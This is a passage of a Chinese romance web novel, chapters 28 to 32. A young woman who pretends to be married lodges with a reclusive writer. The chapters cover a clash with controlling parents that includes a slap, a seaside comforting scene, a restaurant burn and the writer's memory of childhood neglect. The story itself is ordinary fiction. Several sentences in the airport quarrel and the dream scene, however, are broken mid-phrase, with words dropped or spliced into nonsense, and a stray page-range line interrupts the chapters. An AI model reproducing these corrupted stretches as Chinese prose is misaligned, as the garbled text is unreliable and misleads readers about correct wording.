闻知屿觑她,旋即轻笑了一声,“我就是住在孤儿L院里不起眼的傻小子罢了。” 闻言,韩暑猛拍桌子,一脸不赞成。正当闻知屿以为她会说一点都不傻的时候,她深吸一口气,中气十足道:“你怎么会不起眼呢?你一定是孤儿L院里最俊的傻小子。” “……”闻知屿艰难出声,“谢谢。” 韩暑一边吃一边不着痕迹地观察他的神色,见一个玩笑后,笼罩在眉宇间的浓雾消散,这才自然而然地问:“你在孤儿L院待了多久?” “四岁进去,考上高中之后出来住校。” “老板娘,来两碗后安粉!” “好,先坐。” 两位顾客坐定,老板娘迅速收起前一桌的碗筷,回到灶台处双手开工煮粉调料。她的嗓音洪亮,动作麻利熟练,因为长期晒太阳,黝黑的皮肤还微微泛红。 闻知屿擦擦嘴,视线长久地落在她身上,“去南城读大学之前,我经常半夜去路边小摊贩吃面。那里的老板娘也是这样又干练又飒爽。看到我背着有福利院logo的包,什么都不问,但总是悄悄多给我加一颗鸡蛋……一晃十多年过去了。” 十年。 他有些恍惚。 架在碗边的筷子动了下,筷柄碰到了手背,闻知屿这才回神低头看去。 碗里还剩下一多半粉,顶上多出一只红彤彤的虾。 “没有鸡蛋,凑活凑活。”韩暑收手,眨巴眼睛,“吃吧,我们孤儿L院的小王子。今天我请客。” 第29章 第29章【VIP】 游轮靠岸的下一秒,韩暑接到了徐女士的电话。 “机票给你和我爸买好了,六点五十起飞。” “连父母的面都不见是吗?” 熟悉的风景倒退,韩暑倚靠副驾驶的窗框心烦意乱唉声叹气,过减速带颠簸中撞了头都没察觉似的。 “父母想让你回家。” 韩暑抹了把脸,很是无语的看了眼今日份司机师傅,“你是怎么做到又迟钝又敏锐的?” 面对调侃,闻知屿恍若不闻,“只要你不想,谁都没法强迫。” “是这个道理,但毕竟是父母。”韩暑又叹了口气,“我又不能和他们翻脸。” 她将窗户放下一半,潮湿的空气霎时争先恐后地涌入,非但没有清醒过来,反倒在肌肤留下黏黏腻腻的触感。 不知过了多久,闻知屿冷不丁问:“为什么不能?” “嗯?” “你的身份首先是你自己,其次才是女儿。”闻知屿淡声,“做好自己,才能承担起其他身份的职责。” 韩暑心念一动,“你的意思是我先考虑自己,顶撞父母也无所谓?” “顶撞父母不是目的,表达你的想法态度才是。” 地面停车场停得满满当当,闻知屿沿着通道绕了一大圈才找到车位。恰恰好,韩暑父母就在不远处。 徐英着一身米色的中袖连衣长裙,温温柔柔的颜色,可阴沉严肃的表情却和温柔毫不沾边。韩文宇拖着一只黑色布制行李箱,带着一副在日光下变茶色的眼镜四下张望。 韩暑解开安全带,“我把手机留在车上,不会太久。” “嗯。” 闻知屿目送她用力甩上门,佝偻着背脚步沉重地往前走,一副世界末日的模样。他对他人的家务事无甚兴趣,很快便收回了视线。 昨晚通宵完成了一部小短篇,此刻眼皮子直打架。正要闭目养神,放在中控上的手机响了,来电显示是简简单单的两个字。 老公。 闻知屿捏了捏鼻梁。 早不打晚不打,偏偏这会打,真没眼色。也是,连滑板都不让妻子学,这样的人能有什么眼色。 他冷嗤,重新靠回椅背,紧紧闭上眼。 眼不见为净。 铃声响了许久,停了。 然而没过几秒,闻知屿正要顺应睡意坠入梦乡,铃声又响了。睁眼一看,还是韩暑那个没眼色的老公。 闻知屿烦躁地拿起手机,冲红色挂断健按去,却又在距离不到一厘米处悬浮停顿。挂断电话,她丈夫会不会担心? 手指移向绿色接听键,正要按下,又再次停止。接了电话,她丈夫会不会误会? 他太难了。 作为一个心地善良的房东,他太难了。 闻知屿赌气似的将手机扔至副驾座椅,正要放点音乐掩盖烦人的噪音,视线恰好扫过挡风玻璃,眸色一凛,手在无知无觉中已经拉开了车门。 “啪!” 头顶的抓夹因为巨大的冲力松动坠落,在水泥硬地上滚了一圈,找不见了。 韩暑被扇得偏过了头,好半天才从头晕眼花中回过劲来。她捂着脸,发丝凌乱,“不管您怎么说,我今天绝对不回。手机身份证我都没带,所以不用想着强行拉我登机。” 徐英抬手又是一巴掌,“你是铁了心当废物是吗?谁在25岁的年纪不上学不上班闲待着?青春就这么几年,你这样荒废对得起我和你爸吗!” 韩文宇拉住徐英,轻拍手臂安抚,情绪虽稳定,但语气透着毋庸置疑的味道,“小暑,立刻收拾行李,我和你妈妈在机场等你。别让我和你妈妈重复说一样的话。” 韩暑盯着自己的脚尖,黑色的指甲油,前天刚买的,有一种哥特的感觉。放在过去,绝无可能尝试。 一瓶指甲油而已,一次美甲而已,都是那么微不足道。可对于无时无刻不被评判被束缚的她而言,是前所未有的探索。 “也别让我重复说一样的话。”韩暑哑声说,“我今天不会回去。” “小暑!你一声不吭辞职,我们不赞成,但也试着去理解你。你觉得累那就换工作,我们也帮你找了。那家国企确实不错,你明天去面试,如果面上了离入职还有一个月左右的时间,你再玩也不迟啊?” “我不去。” “这可是我托你刘叔叔和人事总打了招呼,才增加的面试。你不去我和你叔叔怎么交代?!” 韩暑没控制住抽噎,有什么关系?” 徐英怒道:“你爸爸为了你的事奔波劳顿欠了多少人情,你这是什么态度?” “我从劳顿欠人情!我是一个成年人,我会对自己的行为选择负责,你们能不能事……” “你是我们的女儿,别说成年,就是五十六十岁,还是我涉!” 如果血管是透明的,是不是就能看清那此刻流淌的到底是血液,还是侵蚀四肢百骸的无力感? 韩暑嗓音艰涩,“从小到大,我从没有违逆过你们的想法。大到选专业就业,小到兴趣爱好穿衣打扮……我难道不能为自己选择一次吗?” “你什么意思,我和你爸能害你吗!” 泪腺失控。 韩暑任由泪水滑过脸颊,在地面,“我首先是一个独立的个体,其妈怎么说,这次我要留在琼岛,我想找到真正想做的事,真正属于自己的人生,而不 徐英和韩文宇面露震惊,与此同时,怒气更甚。 韩暑几乎听不到他们在说什么了,只看到翕动的唇,和装满失望的眼睛。 当徐英上前一步,四目相对,“你今天如果不回,就别怪我们不认你这个女儿!” 不认你这个女儿。 幼儿园午休,她旁边的小女孩偷偷用彩笔涂了她的三个指甲,徐英大怒,直接找到小女孩家长。然而对方给出的答案是韩暑主动要求。 她反复解释,徐英依旧不信,甚至将她关在家门外,留下一句“敢撒谎,就别怪我们不认你这个女儿。” 被抛弃的恐惧来袭,韩暑撒了人生第一次谎言,承认了错误。 她再次望向脚指甲的颜色,这些鸡毛蒜皮的事,却一个个印证了她被规训的人生。 “爸妈,飞行顺利,一路平安。” 韩暑调头就走,不顾身后的呼喊,不顾自己被风吹得像金毛狮王的头发,径直走向小蓝,走向闻知屿。 在副驾驶坐定关上车门,一直强压的哭腔再也不受控制。她很没出息,呜呜咽咽地哭了起来。 闻知屿什么都没说,伸手捞过后座的抽纸放在中控,然后起步一打方向盘,向中年男女的反方向驶去。 车子行驶了多久,韩暑就哭了多久。一直到停在路边,她正想回房,却发现不太对。 这里不是别墅车库,是…… “为什么来海边?” “这可不是普通的海边。”闻知屿率先下车,绕至副驾驶拉开车门,“这是适合心情不佳时来的海边。” 韩暑用手背蹭了蹭脸,稀里糊涂地跟着闻知屿翻山越岭,踩过礁石,最走在一处十几米高的峭壁处停止。走到边沿,她席地而坐,在海浪拍打岩壁飞溅的白色浪花和嘶吼声中,放声哭了起来。 闻知屿也在她旁边坐下。 韩暑边哭边含糊地说:“我爸妈说,如果、如果我今天不回去,他们就不认我这个女儿了……” 闻知屿想了想,“有血缘关系,不认也得认。” 一点都没安慰到。韩暑吸吸鼻子,怨气通过语言向外爆发,“他们想让我回家,认为我现在在浪费时间。为什么不能给我一点点自由,哪怕只有一点点?为什么什么都要听他们的!” 闻知屿又想了想,正要开口,韩暑一指头抵住他的唇,“闭嘴,别说话!” ——她不想听他奇奇怪怪的答案。 闻知屿往后躲了下,狐疑,“你搓鼻涕擦手了吗?” 韩暑又无声地哭起来了。 闻知屿:…… 积攒多年的委屈,在既冷酷又温柔的大海和既不冷酷也不温柔的男人的陪伴下中,再次倾泻而出。 韩暑不知道自己哭了多久,只觉得像抽掉骨头一般的疲惫,便顺势四周唯一比岩石高的物体靠了过去。 闻知屿屁股宁次宁次,躲开了,韩暑一下就趴地下了。 赤裸裸的嫌弃中,无声的哭泣变成放声大哭,“我靠一下能怎样!!!” 闻知屿吓一大跳,拧刺拧刺又挪回来了,“你又侵犯我的圆柱体,你丈夫知道会误会。” 嘴上这么说,身体却很诚实。他挺直腰杆,放低右肩,不动了。 韩暑这会什么都顾不得了,哪还管什么圆柱体或者不存在的丈夫,倾身靠了过去,泪水还在失控一般蜿蜒。 闻知屿抬起的手都忘了放下,彻底僵了。 利爽的海风吹拂,韩暑披散的头发毫无规律德迎风飞舞,毫无规律地扫过他的颈侧。一阵淡淡的椰子香环绕而来,无形中凝结成一道屏障,阻挡住咸湿的气息,连同肩上的重量一并困住了他的思绪。 韩暑的丈夫连打三个电话,应该告诉她的。 但闻知屿不想说。 他沿着骨传导听到了自己加速的心跳,与此同时察觉到了自己隐秘的卑劣。 他希望这一刻无限延长。 耳边,哭声渐渐低了下去,但抽噎不止。闻知屿小心翼翼地偏头,看到了她红彤彤肿得像核桃的眼睛,和脸颊上刺目的指印。 他全身每一个细胞都在叫嚣着不爽,难言的烦躁涌上心头。 闻知屿感觉哪哪都得劲,只是用力摁着太阳穴,终于忍无可忍道:“能不能不哭了?” 韩暑抬起头,呜的一声哭得更凶了,“我就想哭怎么了?关你什么事?!” 闻知屿赶紧举起双手解释:“你一哭,我难受——哎哎!你去哪?” 韩暑爬起来就走,腿迈得飞快,怒吼:“我去其他地方哭,不碍你的眼还不行吗?!” 话音将落,她被人抓住了手腕,温热中有些粗粝的触感包裹而来,令她的手指不住蜷缩。 眼泪依旧汹涌,韩暑觉得丢人,偏过脸去凶巴巴道:“松开!” 闻知屿不松。 他半垂着眼,面露无奈,“不是让你换个地方哭。我的意思是……不想你哭。” 韩暑愣怔,“嗯?” “你一哭我难受。我不知道怎么安慰别人,怎么能让你不哭……” 韩暑竭力睁大肿胀的眼睛,“你是在关心我吗?” 闻知屿揣兜,掩住不断蜷曲的手指,“是吧。” 不知何时,抽噎也停了。韩暑吸了下鼻子,“谢谢你。” 闻知屿磕巴了一下,“没、没关系。” 两人于礁石上相对而立,飞溅的浪花映于眼底。女孩的裙摆飘起扫过西装裤,从裤腰处抽离的衬衫下把微拂,像是隐秘的回应。 半晌,闻知屿说:“一会我请你——” “嗡嗡!” 韩暑的手机响了。她看清来电人后立刻接起,向远处走去。 女孩的声音被海风揉碎,听不清内容,却能感知到情绪。 未说完的话吞回肚子里。 闻知屿眼睁睁看着十米开外,韩暑哭了,笑了,最终平静下来。眼角眉梢的亲昵,刺痛了他的眼睛。 老公。 又是她那没眼色的老公。 闻知屿关节捏得嘎嘣响。 明明是他在她难过时陪在身边,明明是他哄好了她,现在这死丫的打电话是什么意思? 明明她老公知道她心情不好来琼岛散心,父母都出现了,却连个影都没。隔空打个电话又算得了什么? 突然,泪痕未干的韩暑笑了,捧腹大笑。 她笑什么笑?有什么好笑的?她老公说了什么她就笑?为什么他说话她就不笑? 闻知屿气疯了,狠狠咬住后槽牙,下定决心。 他,一定、要赢过她那没眼色的老公! 第30章 第30章【VIP】 韩暑坐上车,系上安全带,用手指梳理乱七八糟的头发,又打开镜子擦了擦哭花的脸,车还没启动。 偏头看,司机师傅正襟危坐一手举着手机,一手端放大腿面。 “不走吗?”她疑惑。 “稍等。”闻知屿清清嗓子后字正腔圆,“提问:当月球撞击地球时,用什么可以拦住它?” “……”韩暑无语但选择做答,“复仇者联盟?” 闻知屿大手一挥,“错。正确答案:蓝月亮洗衣液。” 韩暑:……… 空气都凝固了几秒。 闻知屿仔细打量,见她兴致缺缺,又挥挥手道:“提问:为什么一个橙子从房间里退出来的时候变成了果汁?” “……因为这个房子叫榨汁机?” “错。因为橙这一退便是一杯汁。” 韩暑:………… 闻知屿又道:“提问:橙子出去遇到了蘑菇,然后它死了,为什么?” “……”韩暑扶额,“直接说答案吧。” “因为菌要橙死,橙不得不死。” 韩暑:………… 这人失心疯了?还是被夺舍了? “你在读什么冷笑话合集?” “你为什么不笑?” 两人同时开口。 韩暑转转眼珠,“你是在逗我笑吗?” “嗯。”闻知屿挫败地放下手机。 他没有这个天赋。 他不仅不会安慰人,连逗她笑都做不到,拿什么和她老公比? 哎! 韩暑前倾,面露审视,“嘶!你这么关心我?” 闻知屿别过脸,颈侧随吞咽跳动的青筋清晰可见,“嗯,有点陌生的朋友。” 韩暑面部表情抽了抽,“那朋友,你觉得冷笑话好笑吗?” 闻知屿保守答:“还可以。” 韩暑立刻问:“那你怎么不笑?” 闻知屿提唇,上半张脸保持不动,“呵呵呵。” “噗!”韩暑一个没忍住破了功。 “笑了。”闻知屿满意地点点头,打左转向启动,“上次你请我吃了后安粉,今天我请。” “谢谢朋友。”韩暑笑够之后,靠回椅背摸了摸肚子,着实有些饿的慌。 原以为会去吃类似糟粕醋椰子鸡的食物,没曾想,闻知屿径直开进一家颇有名气的酒店地库,电梯直达顶层海景餐厅。 韩暑借着电梯一尘不染的镜子,看了看今日打扮,运动凉鞋和普通的森系亚麻长裙,像是误入的小朋友。再看看闻知屿今日打扮,枪灰色休闲衬衫和黑色休息西裤,完美适配这香喷喷的高速静音电梯。 她往角落缩了缩,“在这吃,会不会有点太贵了?” 两束目光在镜子中相撞。闻知屿单臂撑着电梯扶手,姿态慵懒,“今天哭了这么久,吃点贵的。你出泪,我出血。” 韩暑学着他的样子撑住电梯扶手,故作深沉,“那点眼泪估计不够,还得再哭会。” “可千万别。”闻知屿夸张地挑了下眉,之后嗓音骤减自言自语,“好不容易哄好的……” 海景餐厅名副其实。 在落地窗边的雅座坐定,太阳已被翻滚的云海遮蔽,海天皆呈灰蓝。冠头岭一览无余,海面波纹随风起。当木色中式吊灯连同浅黄色的灯光映在玻璃之上,像是悬浮于虚空中的灯塔,为萧条的阴天之景增添暖意。 闻知屿打开菜单,旋转一百八十度推至韩暑面前,“看看想吃什么?海鲜不错,鲜牛展、干巴菌炒饭,都不错。” 韩暑翻了两页,又还了回去,“我没有忌口,你来吧。” 闻知屿没再推脱,合上菜单熟念地报了几个菜名。 韩暑咕嘟嘟灌了一杯薄荷柠檬水,“常来?” “嗯。”闻知屿提起玻璃壶为她满上。 “约会?” “嗯?” 韩暑竖起食指转了几圈,“这样的氛围,太适合约会了。” “让你失望了,和我经纪人来的。男性。” “哦。” 只能说毫不意外。 哪个女生会喜欢张口“一颗子弹你要杀掉谁”闭口“橙这一退便是一杯汁”的人啊?神经兮兮。 等菜的间隙,韩暑抱起手机继续刷红色软件。大咪马上要出院了,还是没找到领养家庭。她发的帖子下全是upup,没一个人联系。倒霉车主那边也是相似的情况。 她愁啊,愁得晚上做梦都是猫咪王国。 忽然, “怎。 会吗?” 他的语气很淡,没什么特别的情绪,偏 手机直接脱手砸在了玻璃桌面,安静的餐厅里堪比平地惊雷。她眼神乱瞟四下张望,生怕惊动其他客人,同时压低嗓门,“神马??!!” 闻知屿从容地将她的杯子挪至另一边,避开危险区域,“你刚才说这里适合约会。你我,一男一女,算约会吗?” “一男一女是必要条件不是充分条件!”韩暑夸张地挥舞手臂,“我已婚哎朋友!” 闻知屿眉头蹙起,“知道,不用反复强调。” 韩暑:…… 这不就更害怕了。 恰好到了上菜时间,在一道道报菜名中两人大眼瞪小眼,一个惊愕一个淡定,一个恨不得用眼神将对方生吞活剥,一个饶有兴味地观察对方的神色。 “请慢用。” 闻知屿视线未移开,颔首,“谢谢。” 服务生一走,韩暑立刻道:“你什么意思?” “随口一说。”闻知屿为她盛了一碗菌汤,“喝吧,朋友。” 韩暑未接,直勾勾盯着他,“约会特指情感关系!” “这样啊。”闻知屿直接将碗放在她面前,“你和你老公约会吗?” “当、当然啊!” 闻知屿没再说什么,慢吞吞吃了起来。韩暑也拿起汤勺,但心里还是在打鼓。 他什么意思?难道是发现了撒谎的端倪,在试探她吗?! 一个谎言的背后是无数个谎言。 喝了半碗鲜掉眉毛的菌汤,她擦擦嘴,“结婚前,我和我老公常去约会。看电影、吃饭,有时候还去电玩城。你要是想咨询感情问题,随时问我。” 闻知屿自动忽视后半句,“结婚前,那结婚后呢?” 韩暑自然而然道:“有了孩子,哪有时间约会?” “你在琼岛,孩子是你丈夫照顾吗?” “他那人哪会照顾孩子啊!当然是公公婆婆看。” 闻知屿捏着筷子又不吭气了。 韩暑悄悄擦了下冷汗。果然,他就是怀疑了,否则怎么会问如此细节的问题!还好,她早有准备对答如流。 鲜牛展软而不烂,茴香的味道是点睛之笔。干巴菌油渣炒饭香而不腻,不加任何调料已经是香气扑鼻。外加几道白灼或糟粕醋海鲜,韩暑很快便陷入了美食三味镜。 闻知屿没再追问,只是在她伸手够纸巾时率先递过去,又或是在辣得吸溜时及时倒一杯薄荷水。 待她吃饱喝足擦擦嘴,往靠背一摊,闻知屿紧跟着放下了筷子,“我去趟卫生间。” 韩暑正发饭晕,冲他挥了挥手。 闻知屿向卫生间的方向走去,却在最后一个分叉路口左拐,直奔餐厅露台。 20层的高度海风已经不能用凛冽形容,他转身背靠栏杆,拨通了秦建翎的电话。 “正开会着呢,有事闻老师?”秦建翎压着嗓子。 闻知屿却不得不因为风声放大声音,“有,很急。” 那头隐约传来脚步声和开关门声,应该是从会议室出来了。旋即秦建翎恢复如常,“说吧。” “除了电影院、餐厅和电玩城,还能去哪约会?”闻知屿想了想,补充,“女方刚刚哭过,心情不佳。去哪里能让她开心起来?” “……”秦建翎迟疑,“我们是在说小说剧情对吧?” 闻知屿轻咳一声,“现实。” 秦建翎大惊,“你和谁约会?” “房客。当然,也不能算很正式的约会,就是朋友之间——” “朋友??*?什么房客,新的?男的女的?” “……同一个,她长租了。” 秦建翎哑了足足半分钟,然后在震惊中破音了,“给已婚女性长租还约会,你真打算当小三了?!” “不。”闻知屿坚定,“我只是想赢过她丈夫。” “赢过她——不是,你和人家丈夫比什么比?!” “因为我俩现在住在同一屋檐下,一起生活。她丈夫对她并不好,我就是想赢过他。”说到最后,还颇有些咬牙切齿的味道。 秦建翎那头疯狂捶墙,“完了,完了!你完了!!!” 闻知屿不解,“什么完了?” “母胎solo闻老师,你想赢就说明你在乎这女的,你想赢就说明你吃醋了,你想赢就说明你想争抢!!!你懂我意思了吗?!” 在乎?吃醋?争抢?闻知屿噗之以鼻,“你想多了。” 秦建瓴语气沉了下来,“知屿,你敢说你不在意她哭还是笑难过还是开心?你敢说她生病受伤你不担——” 一阵玻璃碎响唤走了闻知屿的注意。 他随意瞥了眼,浓眉骤然拧紧。 “快拿烫伤膏!” “拿冰块!” “女士实在不好意思,您能站起来吗?我带您去卫生间冲一下。” 韩暑蹲在地下,好半天说不出一句话来。 疼。 整条胳膊像是置于篝火上的烤羊肉,燃烧着疼。 她咬着牙,等待最初的剧痛结束,等来却是一只圈住腰背的手。 闻知屿一把将人捞起,嗓音因为焦急紧绷得不像话,“后厨,带路。” 服务生提步小跑,“先生,这边。” 韩暑晕晕乎乎间被带着走,脚下步子踉跄险些绊倒。 “小心。”闻知屿收紧手臂,稳稳撑住她的全部重量。 一直到烫伤处接触到流动的水流,韩暑隆隆作响的脑袋才逐渐清明。除了痛觉以外的神经恢复运作,她骤然意识到,她的肩背紧贴闻知屿的胸膛。 她几乎陷进了他的怀中。 男人一手撑着她的腰,一手毫不嫌弃地握住那沾满汤汁的手腕,盯着水流冲刷下颜色依旧加深的伤处,眸底暗沉。 韩暑不自在地动了动,又往反方向缩了缩,“我、我自己来。” 察觉她的抗拒,闻知屿缓缓松了手,确认她站得稳后退开了两步,视线始终未移开。 厨房水龙头水压不太稳,偶尔伴随加速的水柱呲啦作响。 闻知屿沾了油汤的手垂落于裤边,另一只手以极慢的速度和极重的力道,在裤兜中握拳。 想要赢的幼稚,一而再再而三的破例,哄她开心的冲动,看似平常却记忆犹新的瞬间…… 闻知屿手背碰到手机金属边沿,这才想起自己忘记挂了电话。掏出一看,通话于一分钟前结束。 这一瞬间,他只有一个想法。 他完了,真完了。 30-40 第31章 第31章【VIP】 问题先生最近有些奇怪。 起初,只是门边源源不断的冰袋、定时定点热好的餐食和不见踪迹的房东。 韩暑没太放在心上,毕竟被左臂的烫伤折磨的食不能寐夜不能寝,全靠狂刷电影转移注意力度日。 后来,烫伤的水泡消下去,门口多了两本夹着纸条的《Fearofflying》和夹着书签的《危险关系》。 前者是一本企鹅出版社的小说,以女主人公的恐飞症的入手,一点点揭露她被压抑束缚的人生。后者则是日本心理学家斋藤环的作品,分析亲缘关系中最复杂的母女关系。 纸条上写了两行字。 【处理一个不自由的世界的唯一方法是变得绝对自由,以至于你的存在本身就是一种反抗。*】 夹着书签那一页,几段话吸引了她的注意。 “大多数母女问题是女儿通过母亲的违和感和窒息感觉察到的,反抗或愤怒没有付诸行动痛苦会加深。但另一头的母亲则坚信所做的举动都是出于爱,她觉察不到女儿痛苦。*” “母女之间的关系复杂,与其他人交流密度是不同的,女儿就算讨厌母亲,依旧有喜欢母亲的地方,这或许是母女之间的羁绊。女儿了解到的母亲也只是她作为母亲的一部分,她也是独立的个体,在成为母亲之前她是她自己。*” 韩暑指尖拂过那苍劲有力的字迹,心脏不知名的角落分崩离析,酸软得一塌糊涂。 他说自己不会安慰人,纯属妄自菲薄。 这出乎意料的方式,是她能想象到的最好的方式。 文字是有力量的。 书籍无声,却振聋发聩。 韩暑栽回床上,单手捧着书,看了整整一上午。 临近午饭时间,房门从外敲响。 韩暑一骨碌爬起来,一边开门一边道:“闻老师《Fearofflying》我已经看到——” 兴冲冲的分享戛然而止。 门外不是闻知屿,是闻知屿的阿姨。 阿姨笑眯眯道:“姑娘,这会方便的话我来打扫房间。” 韩暑不着痕迹地往左挪了下,试图挡住屋内一片狼藉,“不用的阿姨,我自己收拾就好。” “小闻专门和我讲,你胳膊烫伤了不太方便,让我来收拾呢。”阿姨拉过她,“你去客厅坐,半小时就好。” 韩暑不好意思,“阿姨我这都快好了,真没事。” 阿姨直接选择性忽视她的拒绝,“衣服哪些是需要洗的?” “不用不用!” “沙发上这些是吗?” “阿姨——” 最终,反抗无效。 韩暑坐在客厅,感觉哪哪都不得劲。如果是付费入住的话房费包含清洁费,心安理得,可她不是。 回答问题抵房费,闻知屿又有好几天都没有提问。退一万步,即使每天十个一百个问题,她的付出都远配不上对方的给予。 韩暑用书脊抵住鼻尖,朝空无一人的楼梯望去。 住在同一屋檐下,她已经三天没有见到他了。也不知道这家伙到底在干什么…… 闻知屿竖起耳朵,捕捉到了细微的吸尘器运作声,这才放下心来,翻身上床。 连续72小时未合眼后的疲惫具有毁灭性,挨着枕头的前一秒,思维已然涣散。不过几秒钟,便坠入了无边无际的梦境。 梁松挽着西装革履却大腹便便的中年男人,“爸爸来了,打招呼。” 闻知屿的视线还不到门把手,站在屋内仰着头,毫无情绪地叫了一声“爸爸”。 闻启捏了捏他的脸,又摸了摸他的头,“是不是长高了?” 梁松手指绕着精致的烫发,娇声抱怨,“你都两个月没来,儿子当然长高了。” “怪我。”闻启收手,搂住女人纤细的腰肢,“最近公司忙,出差多,实在腾不出空。” 梁松冷哼,那张漂亮到挑不出瑕疵的脸一偏,“到底是不是公司忙,你心里清楚。” 闻知屿垂下目光,恰好看到了梁松脚踩的高跟鞋,和蒙了一层丝袜而变得黑黢黢的腿。 每次名为爸爸的男人来,妈妈都会穿得和平时不一样,今天也不例外。 闻启压低嗓音,气息隐约有些急促,“好不容易过来,你就浪费时间说这些?” 梁松娇笑,“儿子还在呢!” 闻启敲敲门框,话还没说出口,,关上了卧室门。 “还挺有眼色, “” “我说什么了?” “……” 男女压低了声音,可对话还是一点 鞋跟地板相撞,梁松似乎贴着门缝,“儿子,自己玩会积木啊!” 闻知屿没吭气,默默等待高跟鞋声渐远,紧接着是门用力闭合的声音。 世界终于安静了下来。 他慢吞吞地走进宽敞的游戏区,慢吞吞地坐下。 数不清多少套建筑积木拼全数用尽,一栋栋大小不一、层高不一的房子连成一片。城堡、别墅、小屋、牛羊圈、超市、花园、医院,这是只属于他的小镇。 闻知屿看了好一会,伸出双臂用力一推—— 小镇崩塌了。 他一点点将零散的积木分类。柱子放在一边,红色、蓝色的墙壁放在一边,华丽的屋顶放在一边,木头色的栅栏放在一边。 慢吞吞地归类完毕,他开始重新挑选,重新搭建—— 小镇又建好了,和先前分毫不差。 闻知屿又看了好一会,再次用力一推—— 小镇再次沦为废墟。 他对周遭的一切都失去了感知,只是机械地重复搭积木、推积木的动作。数不清多少次,说不出过了多久,在寂静无声中循环往复,直到肚子咕噜咕噜地叫了起来。 闻知屿想去厨房,可妈妈说过,爸爸来了的时候不能乱跑,只有经过允许才可以出房门。 他转了个方向,抱着肚子,盯着房门默默等待。等待张阿姨推门而入,惊呼一声“这么晚了怎么还不睡觉”,这样他就可以自然而然地说“因为我还没有吃午饭,我很饿”。 可他等啊等,怎么都等不来一个人。 明明透过门缝,走廊有灯光明灭。明明妈妈的房间,偶尔有闷响声传来。但他始终都等不来一个人。 他所在之处,永远是一个孤岛,永远与世界隔绝。 闻知屿推开积木侧躺,蜷缩起身体,眼睛依旧紧盯那扇只有从里向外才能看到的门。 “砰砰!” 闻知屿骤然起身,于粗喘中视线逡巡。仍在床边的居家服,半开的浴室门,丢在床头柜上的电脑,还有一扇和记忆中相差无几的门。 门外,阿姨轻声询问,“小闻,这会方便打扫主卧吗?” 闻知屿狠狠抹了把脸,套上居家服,这才拖着步子走到门边。手置于门把手,梦境终于被现实驱散。 他用力拉开,“秦阿姨,方便。” 秦阿姨见他睡眼惺忪,尴尬地搓搓手,“吵醒你了吗?” “没事,也该起了。”闻知屿让开位置。从休眠到弹射式起床,腹中饥饿感井喷式爆发,于是揉揉肚子,“有吃的吗?” 秦阿姨一脸我就知道的表情,“有,做好了。扣在餐桌上。” 闻知屿点点头,拖着步子就要往出走,忽而一顿,又折了回来,“她吃了吗?” “吃了吃了,我看着吃的。客房的卫生我也清理过了。” 闻知屿紧绷的眉宇松泛了些,说了一句“辛苦”,这才下楼去了。 秦阿姨看着他的背影,一个劲的笑。 ——这两个小年轻,怎么都偷偷摸摸关心对方? 闻知屿打开扣住的锅盖,番茄肉酱意面的香气随热腾腾的水汽扑面,胃里愈发空荡。 他狼吞虎咽地吃了起来,然而还没吃两口,身后传来一阵轻快的脚步声。 “闻知屿,这本小说我看三分之一了!”韩暑绕至他对面坐定,愣了下,旋即话锋一转,“你这是在吃午饭还是晚饭?” 闻知屿捏着叉子的手指无规律地抠木柄,瞥了眼墙上的挂钟。 下午四点三十分。 午饭还是晚饭? “不知道。”他不着痕迹地看向她的手臂,见烫伤的地方明显好转,这才垂下眼睑,开始斯文地吸入意面。 韩暑眨巴着眼睛,“这几天都没见你,是文思泉涌了吗?” “算是吧。”闻知屿轻描淡写道。 韩暑放下书,疑惑地抓抓头发,上下打量在沉默干饭的男人。 眼前这位不知道哪根神经不对,看都懒得看她一眼,惜字如金,简直比最初入住那天都冷漠。 有点奇怪。 “怎么了?心情不好?” 闻知屿用力吞咽,“没有。” 韩暑没信,但也没追问。她有更重要的事情要讲,“你有好几天都没问问题了,不收房租吗?” 闻知屿咀嚼的动作停了,好半天后又吞咽了下,放下叉子,缓缓掀起眼皮,“有一个。” 韩暑作洗耳恭听状,“请问。” “之前问过你,如果丈夫出轨,一颗子弹,你选择杀掉谁。还记得吗?” “嗯嗯。” 闻知屿顿了顿,“算是衍生的问题。” “问吧问吧。” 闻知屿又说:“纯属创作需要。” “知道,又不是第一天认识你。”韩暑暗自好笑道,“不用铺垫啦,不会误会你是汉尼拔的。” “……”闻知屿眼角猛一跳,藏在桌下的手攥拳,好半天才鼓起勇气,“插足他人家庭,是不道德的。是吗?” “当然。”韩暑用力点头。 闻知屿胸腔内波涛汹涌,面上却是深若古井的淡然。他无声地吸一口气,“那喜欢上有家庭的人,也是不道德的吗?” 第32章 第32章【VIP】 韩暑觉得,闻知屿在写一部家庭伦理剧。 难道这就是所谓的现实题材? 她转转眼珠,“那应该要看具体情况吧。” 闻知屿眉梢一抬,上半身稍微前倾,暴露了平静外表下的迫切,“什么样的情况?” 韩暑总觉得他格外认真,如果是一只狗狗的话必定是竖起了耳朵全神贯注。故而谨慎地思忖片刻后道:“如果他的心意为对方及对方的家庭造成困扰,那当然不道德。如果不被任何人发觉,就是另一种情况了……喜欢本身应该没有错吧?” 闻知屿定定看着她,重复,“喜欢本身没有错。” 谈及陌生的情感话题,韩暑被他盯得怪不好意思,“毕竟人只能控制自己的行为,不能控制自己的情感。默默喜欢的话,只是一个人事情,当然不能算不道德。” 闻知屿紧绷的身形肉眼可见的放松下来,眼尾扬起似有若无的弧度,如释重负地笑了。 韩暑一头雾水,“怎么了?哪里说的不对吗?” “没有。”闻知屿依旧垂着眼皮,嗓音古怪沙哑,“谢谢。” 这就问完了?韩暑的良心又在颤抖了,“不多问几个吗?” “没有。”闻知屿用叉子卷起意面,慢慢吃了起来。 韩暑右手以手腕为支点旋转,诱导式追问:“就不想鲨个人,或者吞点什么东西?” “……不想。” “那不想玩一个双人小游戏?再来拍鸡蛋?” “……烫伤好了吗?” 韩暑横过手臂展示,“结疤,马上就好。完全不影响。” 闻知屿没吭气,也没抬眼,三两口吃完,擦擦嘴,大步流星上楼去了。全程没再说一句话。 韩暑说不上哪不对劲,似乎哪哪都不对劲。 这种奇怪的感觉一直持续到去宠物医院接三只猫,而好几天没见的房东闻老师从后备箱里掏出一个巨大的航空箱时达到顶峰。 “这——什么时候买的?” “阿姨代买的。”闻知屿提在手里,率先往店里走去。 他为什么会买航空箱?韩暑想不明白,一路小跑跟上,支支吾吾道:“内个……我还没找到领养。绝育毕竟是个手术,我想再照顾一段时问。” 闻知屿推开玻璃门却没进去,反倒侧身让出位置,轻抬下巴示意。 韩暑驻足,攥着手,“放在客房卫生问,可以吗?” 闻知屿浅淡的眸色在她身上转了一圈,“回去再说。” 韩暑还想追问,前台的小姐姐已经迎了出来,只得作罢。 “大咪在医生那里,我带你们过去。” 